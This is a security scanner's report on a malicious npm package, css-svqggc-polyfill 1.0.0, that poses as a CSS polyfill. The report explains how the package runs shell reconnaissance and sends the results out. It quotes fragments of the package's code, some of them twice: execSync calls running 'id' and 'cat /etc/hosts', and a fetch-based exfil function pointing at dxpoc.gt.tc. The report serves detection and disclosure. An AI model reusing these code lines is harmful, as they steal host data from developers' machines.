Loading npm security reports…

css-svqggc-polyfill@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / css-svqggc-polyfill / 1.0.0

css-svqggc-polyfill@1.0.0

CSS polyfill utility

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The registry payload executes system reconnaissance commands and exports their results to an external callback. Its registry manifest advertises the payload as several registry assets.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js directly or through a consumer of the registry manifest.

Impact

Exposes host identity, operating system and network information, and /etc/hosts contents without a consent gate.

Mechanism

An immediately invoked function runs shell commands through child_process.execSync and sends collected output and hostname through fetch.

Attack narrative

When the advertised registry file loads in a Node environment, its top-level function collects host information through shell commands and sends the results to dxpoc.gt.tc. It also sends runtime metadata and removes matching module-cache entries. The empty main entrypoint limits activation through ordinary imports but does not neutralize the executable registry payload.

AI rationale

Inspected source proves automatic reconnaissance and external data export when the registry payload loads. This is concrete malicious behavior unrelated to a CSS polyfill, despite the absence of install hooks.

Evidence

thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts

Network endpoints2

dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f/unpkg/css-svqggc-polyfill@1.0.0/thunderboltRegistry.js

Source & flagged code

9 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

•matchType = normalized_sha256 matchedPackage = css-reading-flow-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-reading-flow-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

14var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("child_process");

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external callback using fetch.

thunderboltRegistry.jsView on unpkg · L14

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try {

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately runs identity commands and sends their output.

thunderboltRegistry.jsView on unpkg · L25

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl

High

Ai Review Evidence

The same code reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} v

High

Ai Review Evidence

The callback destination is dxpoc.gt.tc, unrelated to CSS polyfill functionality.

thunderboltRegistry.jsView on unpkg · L11

6delete require.cache[keys[i]];

High

Ai Review Evidence

The payload deletes matching require.cache entries, allowing execution again on subsequent loads.

thunderboltRegistry.jsView on unpkg · L6

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-svqggc-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry.js

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

9 flagged

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

•matchType = normalized_sha256 matchedPackage = css-reading-flow-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-reading-flow-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

14var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("child_process");

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external callback using fetch.

thunderboltRegistry.jsView on unpkg · L14

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try {

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately runs identity commands and sends their output.

thunderboltRegistry.jsView on unpkg · L25

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl

High

Ai Review Evidence

The same code reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} v

High

Ai Review Evidence

The callback destination is dxpoc.gt.tc, unrelated to CSS polyfill functionality.

thunderboltRegistry.jsView on unpkg · L11

6delete require.cache[keys[i]];

High

Ai Review Evidence

The payload deletes matching require.cache entries, allowing execution again on subsequent loads.

thunderboltRegistry.jsView on unpkg · L6

registry-manifest.min.jsonView file

Lines 1-10json

1{

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-svqggc-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-svqggc-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-svqggc-polyfill@1.0.0/thunderboltRegistry.js"